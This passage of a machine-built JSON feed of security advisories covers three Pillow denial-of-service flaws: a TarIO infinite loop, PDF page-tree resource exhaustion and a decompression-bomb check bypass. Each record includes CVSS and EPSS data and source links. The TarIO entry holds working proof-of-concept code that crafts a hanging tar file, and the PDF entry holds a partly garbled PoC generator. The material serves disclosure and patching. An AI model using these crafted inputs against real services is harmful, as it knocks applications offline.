page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-g4qv-2jxx-769h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-g4qv-2jxx-769h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-g4qv-2jxx-769h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-g4qv-2jxx-769h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-g4qv-2jxx-769h, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-96643","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96643","type":"primary","publishedAt":"2026-10-21T21:20:32.797Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96643&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96643, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96642","cveId":"CVE-2026-96642","aliases":["GHSA-3j72-p6qg-6xp7"],"kind":"vulnerability","title":"Pillow: TarIO negative size field causes infinite CPU-spin loop","summary":"```python\nsize = int(s[124:135], 8)\n...\nself.fh.seek((size + 511) & (~511), io.SEEK_CUR)\n```\nThere is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started.\n\nThe loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own.","detail":"### Summary\n`TarIO.__init__` does not check that a tar header's size field is positive. A crafted header with a negative size makes it seek backward onto itself. This causes an infinite loop that uses 100% CPU and never returns.\n\n### Details\n`TarIO.__init__` reads 512-byte tar headers one at a time, looking for a member with a given name. For each header it reads the size field and skips ahead to the next header:\n\n```python\nsize = int(s[124:135], 8)\n...\nself.fh.seek((size + 511) & (~511), io.SEEK_CUR)\n```\nThere is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started.\n\nThe loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own.\n\n### Steps to reproduce\n\nThis uses Tests/images/hopper.tar, a normal file already in the Pillow test suite. It only changes the size field of the first header.\n\n```python\nfrom PIL import TarIO\n\nwith open(\"Tests/images/hopper.tar\", \"rb\") as f:\n data = bytearray(f.read())\n\n# Set the size field (bytes 124 to 135) to a negative octal value.\n# Octal 1000 is 512, so this is size = -512.\ndata[124:135] = b\" -00001000\"\n\nwith open(\"poisoned.tar\", \"wb\") as f:\n f.write(data)\n\n# \"does-not-exist\" does not match the header name, so TarIO must\n# keep scanning. This call never returns.\nTarIO.TarIO(\"poisoned.tar\", \"does-not-exist\")\n```\n\nWe confirmed this with ps. The process sits at 98 to 100% CPU and never exits on its own. It only stops if killed from outside.\n\nA pytest version of this, using pytest-timeout so the test does not hang forever, is below. On the current code it fails with Failed: Timeout (>3.0s) from pytest-timeout.\n\n```python\nfrom __future__ import annotations\n\nfrom pathlib import Path\n\nimport pytest\n\nfrom PIL import TarIO\n\nSOURCE_TAR = \"Tests/images/hopper.tar\"\n\n@pytest.mark.timeout(3)\ndef test_negative_size_field_does_not_hang(tmp_path: Path) -> None:\n with open(SOURCE_TAR, \"rb\") as f:\n data = bytearray(f.read())\n\n data[124:135] = b\" -00001000\" # octal 1000 = decimal 512, negated\n\n poisoned_tar = tmp_path / \"poisoned.tar\"\n poisoned_tar.write_bytes(data)\n\n with pytest.raises((OSError, ValueError)):\n with TarIO.TarIO(str(poisoned_tar), \"does-not-exist\"):\n pass\n```\n### Impact\n\n- Availability: an attacker who can get a crafted tar file passed to TarIO.TarIO() can hang the process at full CPU with a file just over 512 bytes.\n- Confidentiality: none.\n- Integrity: none.\n- TarIO is a small helper class. It is not used by Image.open() and is not on the default path most Pillow users hit. An app has to call PIL.TarIO.TarIO(path, member_name) directly for this to matter, which some apps do to read an image out of a tar archive.\n\nAffected package ranges reported by GitHub:\nPillow: < 13.0.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:01:46.000Z","updatedAt":"2026-10-22T16:46:48.920Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96642","asOf":"2026-10-22T16:46:48.920Z"},"epss":{"probability":0.00396,"percentile":0.3352,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96642&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-3j72-p6qg-6xp7","url":"https://github.com/advisories/GHSA-3j72-p6qg-6xp7","type":"primary","publishedAt":"2026-10-22T16:01:46.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-3j72-p6qg-6xp7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-3j72-p6qg-6xp7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-3j72-p6qg-6xp7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-3j72-p6qg-6xp7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-3j72-p6qg-6xp7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-3j72-p6qg-6xp7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-3j72-p6qg-6xp7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-3j72-p6qg-6xp7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-3j72-p6qg-6xp7, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-96642","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96642","type":"primary","publishedAt":"2026-10-21T21:20:32.650Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96642&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96642, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96640","cveId":"CVE-2026-96640","aliases":["GHSA-mrfp-p49p-3hf2"],"kind":"vulnerability","title":"Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion","summary":"An attacker who can supply an existing PDF to an application that appends an image with `Image.save(..., format=\"PDF\", append=True)` can provide a malformed `/Pages` tree where each level repeats the same child `/Pages` reference in `/Kids`. Pillow treats the graph as a tree and expands each repeated reference in `PdfParser.linearize_page_tree()` without tracking visited or duplicate indirect references.\n\nIn the bounded proof below, a `1410`-byte PDF expands to `8192` page references from one distinct page object and takes about `9.6` seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about `0.02` seconds.","detail":"### Summary\nPillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree.\n\nAn attacker who can supply an existing PDF to an application that appends an image with `Image.save(..., format=\"PDF\", append=True)` can provide a malformed `/Pages` tree where each level repeats the same child `/Pages` reference in `/Kids`. Pillow treats the graph as a tree and expands each repeated reference in `PdfParser.linearize_page_tree()` without tracking visited or duplicate indirect references.\n\nIn the bounded proof below, a `1410`-byte PDF expands to `8192` page references from one distinct page object and takes about `9.6` seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about `0.02` seconds.\n\nThis is in scope for Pillow's security policy because it is reproducible in `main`, affects the latest public release tested (`12.3.0`), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion.\n\n### Details\n\n#### Affected versions\n\n- Package: `Pillow`\n- Ecosystem: `pip` / PyPI\n- Affected component: `src/PIL/PdfParser.py` page-tree traversal reached from `src/PIL/PdfImagePlugin.py` PDF append handling\n- Runtime-tested affected release: `12.3.0`\n- Runtime-tested affected development version: `13.0.0.dev0`\n- Tested commit: `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`\n- Current source artifact hash: `sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054`\n- Release `12.3.0` commit: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d`\n- Release `12.3.0` source artifact hash: `sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81`\n- Source-level affected: `5.1.0`, `12.2.0`, `12.3.0`, and `HEAD`\n- Likely affected range: `>= 5.1.0`\n- Patched versions: none known\n\nEvidence fact strings:\n\n- Runtime-tested affected: 12.3.0\n- Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa\n- Source-level affected: 5.1.0\n- Source-level affected: 12.2.0\n- Source-level affected: HEAD\n- Likely affected range: >= 5.1.0, no fixed version known\n- Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py\n\n`5.0.0` contains `src/PIL/PdfImagePlugin.py` but does not contain `src/PIL/PdfParser.py`. `PdfParser.py` was introduced by `6207b44ab1ff4a91d8ddc7579619876d0bb191a4` (`2018-01-18 issue #2959: support appending to existing PDFs`), which shipped in `5.1.0`.\n\n#### Technical details\n\nThe reachable path is:\n\n1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path:\n\n ```python\n Image.new(\"L\", (1, 1), 0).save(existing_pdf_file, format=\"PDF\", append=True)\n ```\n\n2. `src/PIL/PdfImagePlugin.py` routes `append=True` to `PdfParser`:\n\n ```python\n is_appending = im.encoderinfo.get(\"append\", False)\n filename_str = filename.decode() if isinstance(filename, bytes) else filename\n if is_appending:\n existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode=\"r+b\")\n else:\n existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode=\"w+b\")\n ```\n\n3. `src/PIL/PdfParser.py` parses the existing PDF and linearizes the page tree:\n\n ```python\n self.page_tree_root = self.read_indirect(self.pages_ref)\n self.pages = self.linearize_page_tree(self.page_tree_root)\n self.orig_pages = self.pages[:]\n ```\n\n4. `linearize_page_tree()` recursively follows every `/Kids` entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references:\n\n ```python\n def linearize_page_tree(\n self, node: PdfDict | None = None\n ) -> list[IndirectReference]:\n page_node = node if node is not None else self.page_tree_root\n check_format_condition(\n page_node[b\"Type\"] == b\"Pages\", \"/Type of page tree node is not /Pages\"\n )\n pages = []\n for kid in page_node[b\"Kids\"]:\n kid_object = self.read_indirect(kid)\n if kid_object[b\"Type\"] == b\"Page\":\n pages.append(kid)\n else:\n pages.extend(self.linearize_page_tree(node=kid_object))\n return pages\n ```\n\n5. During append, `rewrite_pages()` then iterates the expanded `orig_pages` list and scans/replaces entries in `self.pages`, adding more cost to the already expanded duplicate-reference list.\n\nThe missing invariant is:\n\n```text\nThe PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.\n```\n\nThe proof intentionally uses a malformed PDF page-tree DAG: each `/Pages` node repeats the same next `/Pages` child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees.\n\n### PoC\n\nEnvironment used for validation:\n\n- OS/runtime: Linux, Python `3.13.11`\n- Current tested build: Pillow `13.0.0.dev0`, commit `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`\n- Latest release tested: Pillow `12.3.0`\n- The proof uses only synthetic in-memory PDFs and does not contact the network.\n\nSave this as `poc_pillow_pdf_page_tree_dag.py`:\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport io\nimport json\nimport sys\nimport time\n\nfrom PIL import Image, PdfParser\nimport PIL\n\ndef make_page_tree_pdf(depth: int, fanout: int) -> bytes:\n if fanout not in (1, 2):\n raise ValueError(\"fanout must be 1 or 2\")\n\n objects: list[bytes] = [b\" >\"]\n for object_id in range(2, depth + 3):\n next_id = object_id + 1\n kids = b\" \".join(f\"{next_id} 0 R\".encode(\"ascii\") for _ in range(fanout))\n parent = b\"\" if object_id == 2 else f\" /Parent {object_id - 1} 0 R\".encode()\n objects.append(b\" >\")\n objects.append(f\" >\".encode(\"ascii\"))\n\n result = bytearray(b\"%PDF-1.4\\n\")\n offsets = [0]\n for object_id, value in enumerate(objects, start=1):\n offsets.append(len(result))\n result.extend(f\"{object_id} 0 obj\\n\".encode(\"ascii\")\n\nAffected package ranges reported by GitHub:\nPillow: >= 5.1.0, < 13.0.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:00:47.000Z","updatedAt":"2026-10-22T16:46:48.920Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96640","asOf":"2026-10-22T16:46:48.920Z"},"epss":{"probability":0.00515,"percentile":0.43564,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96640&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-mrfp-p49p-3hf2","url":"https://github.com/advisories/GHSA-mrfp-p49p-3hf2","type":"primary","publishedAt":"2026-10-22T16:00:47.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-mrfp-p49p-3hf2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-mrfp-p49p-3hf2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-mrfp-p49p-3hf2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-mrfp-p49p-3hf2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-mrfp-p49p-3hf2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-mrfp-p49p-3hf2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-mrfp-p49p-3hf2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-mrfp-p49p-3hf2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-mrfp-p49p-3hf2, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-96640","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96640","type":"primary","publishedAt":"2026-10-21T21:20:32.357Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96640&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96640, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96637","cveId":"CVE-2026-96637","aliases":["GHSA-g842-9rc4-69pw"],"kind":"vulnerability","title":"Pillow: Decompression bomb check bypass in SpiderImagePlugin.seek() leads to unbounded allocation DoS","summary":"Real-world impact: a large frame-1 nsam/nrow (e.g. 40000x40000) causes im.load() to allocate ~6.4 GB (mode F) with the bomb check fully bypassed, from a file under 1 KB.\n\nCredit: Yazan Balawneh - CyStack Security Team \n[pillow_poc_spider_bomb.py](https://github.com/user-attachments/files/30244916/pillow_poc_spider_bomb.py)","detail":"## Summary\nSpiderImagePlugin's seek() bypasses the decompression bomb check, allowing a tiny ( DecompressionBombWarning fires correctly.\n- BYPASS: Image.open(stack, frame0=1x1) passes; im.seek(1) sets size (100,100) with NO DecompressionBombWarning/Error -> the check is bypassed.\n\nReal-world impact: a large frame-1 nsam/nrow (e.g. 40000x40000) causes im.load() to allocate ~6.4 GB (mode F) with the bomb check fully bypassed, from a file under 1 KB.\n\n## Suggested fix\nCall Image._decompression_bomb_check(self.size) at the end of SpiderImageFile._open() (or in seek() after _open()), mirroring GifImagePlugin / TiffImagePlugin. Optionally validate nsam/nrow are positive and sane in _open().\n\nCredit: Yazan Balawneh - CyStack Security Team \n[pillow_poc_spider_bomb.py](https://github.com/user-attachments/files/30244916/pillow_poc_spider_bomb.py)\n\nAffected package ranges reported by GitHub:\npillow: < 13.0.0","action":"GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T15:57:17.000Z","updatedAt":"2026-10-23T22:17:01.413Z","regions":["Global"],"vendor":null,"product":"pillow","stacks":["Python packages (PyPI)","pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96637","asOf":"2026-10-23T22:17:01.413Z"},"epss":{"probability":0.00429,"percentile":0.36838,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96637&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-g842-9rc4-69pw","url":"https://github.com/advisories/GHSA-g842-9rc4-69pw","type":"primary","publishedAt":"2026-10-22T15:57:17.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-g842-9rc4-69pw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-g842-9rc4-69pw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-g842-9rc4-69pw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-g842-9rc4-69pw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied 